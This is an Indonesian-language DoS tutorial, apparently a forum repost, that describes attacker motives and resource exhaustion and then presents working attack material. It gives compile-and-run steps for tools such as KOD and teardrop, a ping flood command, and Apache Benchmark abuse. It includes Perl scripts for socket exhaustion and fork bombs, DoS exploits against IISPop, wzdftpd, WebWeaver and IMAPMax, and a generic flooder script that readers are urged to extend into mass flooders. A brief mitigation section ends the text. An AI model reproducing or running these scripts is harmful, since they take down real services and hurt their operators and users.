Sebagian besar
pengguna jaringan Internet di Indonesia masih menganggap serangan
"distributed denial of service" (DDoS) sebagai hal wajar dan bukan
sebagai ancaman. Namun demikian, serangan DDos di Indonesia masuk empat
terbesar di dunia.
"Perusahaan atau
pemilik situs tidak sadar ketika lalu lintas Internet mereka penuh atau
melonjak drastis tiba-tiba server mati. Lalu dinyalakan ulang dan itu
terus terulang," kata Konsultan Teknis Fortinet Indonesia, Daniel Aroman
Hadi, selepas jumpa pers peluncuran FortiDDoS di Jakarta, Kamis.
1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Distributed Denial of Service adalah aktifitas menghambat kerja sebuah layanan
(servis)
atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak
dapat
menggunakan layanan tersebut. Dampak akhir dari aktifitas ini
menjurus
kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal
(dalam kasus tertentu). Pada dasarnya Denial of Service merupakan
serangan
yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik
dimana
admin akan berada pada kondisi yang membingungkan antara layanan dan
kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan
berbanding
terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu
mengikuti
hukum ini.
Beberapa aktifitas DoS adalah:
1. Aktifitas ‘flooding’ terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.
- Motif penyerang melakukan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif
cracker
dalam melakukan Denial of Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Status subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau
lebih
tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas
umum
dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial
of
Service merupakan aktifitas hacker diawal karirnya. Alasan politik
dan
ekonomi untuk saat sekarang juga merupakan alasan yang paling
relevan. Kita
bisa melihat dalam ‘perang cyber’ (cyber war), serangan DoS bahkan
dilakukan
secara terdistribusi atau lebih dikenal dengan istilah ‘distribute
Denial of
Service’. Beberapa kasus serangan virus semacam ‘code-red’ melakukan
serangan
DoS bahkan secara otomatis dengan memanfaatkan komputer yang
terinfeksi,
komputer ini disebut ‘zombie’ dalam jargon.Lebih relevan lagi,
keisengan
merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk
mendapatkan program-program DoS, seperti nestea, teardrop, land,
boink,
jolt dan vadim. Program-program DoS dapat melakukan serangan Denial
of
Service dengan sangat tepat, dan yang terpenting sangat mudah untuk
melakukannya. Cracker cukup mengetikkan satu baris perintah pada
Linux Shell
yang berupa ./nama_program argv argc …
- Denial of Sevice, serangan yang menghabiskan resource.
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian
resource
yang besar, sehingga komputer/mesin yang diserang kehabisan resource
dan
manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD
A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani
permintaan
client. Spasi swap juga digunakan untuk mem-’forked’ child process.
Bagaimanapun
spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa
serangan
Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem.
Alokasi
memori kepada kernel juga merupakan target serangan yang sensitif.
Kernel
memiliki kernelmap limit, jika sistem mencapai posisi ini, maka
sistem tidak
bisa lagi mengalokasikan memory untuk kernel dan sistem harus di
re-boot.
D. RAM
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem
mau-tidak
mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD
tidak akan
bekerja.
- Teknik Melakukan Denial of Service
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung
DoS merupakan
dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk
menghentikannya
adalah menutup layanan tersebut. Namun tentu saja hal ini tidak
mengasikkan dan juga
tidak begitu menarik.
- tipe-tipe serangan DoS.
1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan
‘loophole’
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan
yang
lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial
of
Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium ‘FOOF’ Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap
jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap
prosessor
yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika
serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari
korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan
(network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh
peket-paket ICMP.
Varian dari serangan ini disebut “smurfing”
([Only registered and activated users can see links. ]).
Serangan menggunakan exploits.
- Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: [Only registered and activated users can
see links. ] (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)
1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang
Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini
adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil,
bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya:
blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve
dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara
kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP
Packet
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan
Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk
(bonk.c)
6. Syndrop
Merupakan ’serangan gabungan’ dari TearDrop dan TCP SYN Flooding.
Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang
terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip
fragment, bug
yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari
serangan ini
adalah Blue Screen of Death
Serangan langsung (+ 31337)
1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux.
Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara
besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja
(kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
[Only registered and activated users can see links. ]
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi
universal
oleh Apache Software Foundation adalah MaxClients 150, yang berarti
hanyak
koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150
clients.
Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih
dari 1
request simultan dengan koneksi terpisah-pisah.
Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache
akan
menunggu selama waktu yang ditetukan direktif TimeOut (default 5
menit).
Dengan mengirimkan request simultan yang cukup banyak penyerang akan
memaksa
batasan maksimal MaxClients. Dampak yang terjadi, clien yang
mengakses apache
akan tertunda dan apa bila backlog TCP terlampaui maka terjadi
penolakan,
seolah-olah server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo –> [Only registered and activated users can
see links. ] || [Only registered and activated users can see links. ]
# URL : [Only registered and activated users can see links. ]
#
use IO::Socket;
if (!$ARGV[1]) {
print “Gunakan: perl gs.pl [host] [port] \n”;
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto => “tcp”
or die; print “$_\n”
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!
- Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = “X” x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq.
Remote
Buffer Overflow yang menghasilkan segmentation fault (seg_fault)
dapat
terjadi secara remote jika demon (server) tidak melakukan verifikasi
input
sehingga input membanjiri buffer dan menyebabkan program dihentikan
secara
paksa.
- Beberapa ‘proof of concept’ dapat dipelajari melalui beberapa contoh ini.
1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : [Only registered and activated users can see links. ]
TIPE : Remote DoS
IISPop akan crash jika diserang dengan pengiriman paket data sebesar
289999 bytes,
versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181
Script: iispdos.pl
#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> [Only registered and activated users
can see links. ] || [Only registered and activated users can see links. ]
# URL : [Only registered and activated users can see links. ]
#
use IO::Socket;
if (!$ARGV[0]) {
print “Gunakan: perl iispdos.pl [host] \n”;
exit;
}
# Data 289999 bytes
$buff = “A” x 289999;
print “Connecting … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr=> “$ARGV[0]“,
PeerPort=> “110″,
Proto=> “tcp”) or die;
print “Error: $_\n”;
print “Connect !!\n”;
print $connect “$buff\n”;
close $connect;
print “Done \n”;
print “POST TESTING setelah serangan \n”;
print “TEST … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr => “$ARGV[0]“,
PeerPort => “110″,
Proto => “tcp”) or die;
print “Done !!, $ARGV[0] TEWAS !! \n”;
print “Gagal !! \n”;
close $connect;
# END.
2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : [Only registered and activated users can see links. ]
Proof of Concept:
% telnet 127.0.0.1 21
Trying 127.0.0.1…
Connected to localhost.novel.ru.
Escape character is ‘^]’.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1…
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host
wzdftpd crash setelah diberikan perintah/command PORT !
3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : [Only registered and activated users can see links. ]
BugTraqer : euronymous /F0KP
}——- start of fadvWWhtdos.py —————{
#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [[Only registered and activated users can see
links. ]
########
# Usage: ./fadvWWhtdos.py
########
import sys
import httplib
met = raw_input(“””
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
“””)
target = raw_input(“Type your target hostname [ w/o [You must be registered
and logged
in to see this link.] ]: “)
spl = “f0kp”*0×1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, “/”+spl)
r1 = conn.getresponse()
print r1.status
}——— end of fadvWWhtdos.py —————{
Serangan diatas mengirimkan 32700 karakter yang menyebabkan server
crash !
4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : [Only registered and activated users can see links. ]
BugTraqer : matrix at 0×36.org
Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg)
kepada command
SELECT. Dampak dari serangan ini adalah berhentiya server dan harus
di-restart secara
manual.
Contoh eksploitasi:
——–[ transcript ]——-
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN “RealUser@infowarfare.dk” “HereIsMyPassword”
0001 OK User authenticated.
0002 SELECT “aaa…[256]…aaaa”
——–[ transcript ]——-
Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda
bisa dapatkan tool
ini pada url: [Only registered and activated users can see links. ]
dengan kata kunci ‘nc’ atau ‘netcat’
Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu –
tentu saja -
membanjiri input dengan data yang besar. Serangan akan lebih efektif
jika dilakukan pada
komputer esekutor yang memiliki bandwidth lebar.
- Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.
Dari step diatas, kita bisa membuat sebuah skrip universal untuk
melakukan serangan DoS.
Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip
target), target_port (
port koneksi ke server korban), dan data (jumlah paket data yang akan
dikirim).
– udos.pl –
#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> [Only registered and activated users
can see links. ] | [Only registered and activated users can see links. ]
# URL : [Only registered and activated users can see links. ]
#
use IO::Socket;
#
if (!$ARGV[2]) {
print “Gunakan % perl udos.pl [host] [port] [data] \n”;
print “Contoh :\n”;
print “\t $ perl udos.pl 127.0.0.1 21 50000 \n”;
exit;
}
# Siapkan data
$buffer = “A” x $ARGV[2];
# Connect -> Korban
print “Connecting … -> $ARGV[0] \n”;
$con = new IO::Socket::INET (
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto=> “tcp”) or die;
print “Error: $_ \n”;
# Connect !
print “Connect !! \n”;
print $con “$buffer\n”;
close $con;
print “Done. \n”;
print “POST TESTING setelah serangan \n”;
print “TEST … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr => “$ARGV[0]“,
PeerPort => “$ARGV[1]“,
Proto => “tcp”) or die;
print “Done !!, $ARGV[0] TEWAS !! \n”;
print “Gagal !! \n”;
close $connect;
# End.
– udos.pl –
Skrip sederhana diatas hanya melakukan hubungan dengan server korban,
lalu mengirimkan flood dan melakukan post testing. Dengan sedikit
pemprograman anda dapat membuat sebuah ‘Mass Flooder’ atau ‘Brute
Force
Flooder’, tergantung pada kreatifitas anda !
- Penanggulangan serangan Denial of Service
Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat
bagaimana
mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau
bagaimana mudahnya melakukan input flooding dan membuat tool sendiri.
Namun Denial of service adalah masalah layanan publik.Sama halnya
dengan
anda memiliki toko, sekelompok orang jahat bisa saja masuk
beramai-ramai
sehingga toko anda penuh. Anda bisa saja mengatasi ’serangan’ ini
dengan
‘menutup’ toko anda – dan ini adalah cara paling efektif – namun
jawaban
kekanak-kanakan demikian tentu tidak anda harapkan.
1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk
membekukan
Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup
handal
untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki
option
untuk menolak cracker untuk mengakses system.
2. Ikuti perkembangan security
Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan
dunia
security. Dampak yang paling buruk, sistem cracker yang ‘rajin’,
‘ulet’
dan ‘terlatih’ akan sangat mudah untuk memasuki sistem dan merusak -
tidak tertutup kemungkinan untuk melakukan Denial of Service -.
Berhubungan dengan ‘Selalu Up 2 Date’, Denial of service secara
langsung
dengan Flooding dapat diatasi dengan menginstall patch terbaru dari
vendor
atau melakukan up-date.
3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan
identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui
firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From
).
Tentunya teknik ini akan sangat membosankan dimana anda sebagai
seorang
admin harus teliti.
Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi
jumlah pengunjung akan menjaga toko anda dari ‘Denial of Service’.
Jangan lupa juga menambah RAM.
4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain
efektif
juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar
aman,
atau semua user adalah orang ‘baik’. Pertimbangkan semua aspek. Anda
bisa
menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan
serangan
dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan
berfikir dari
admin dan user bersangkutan.
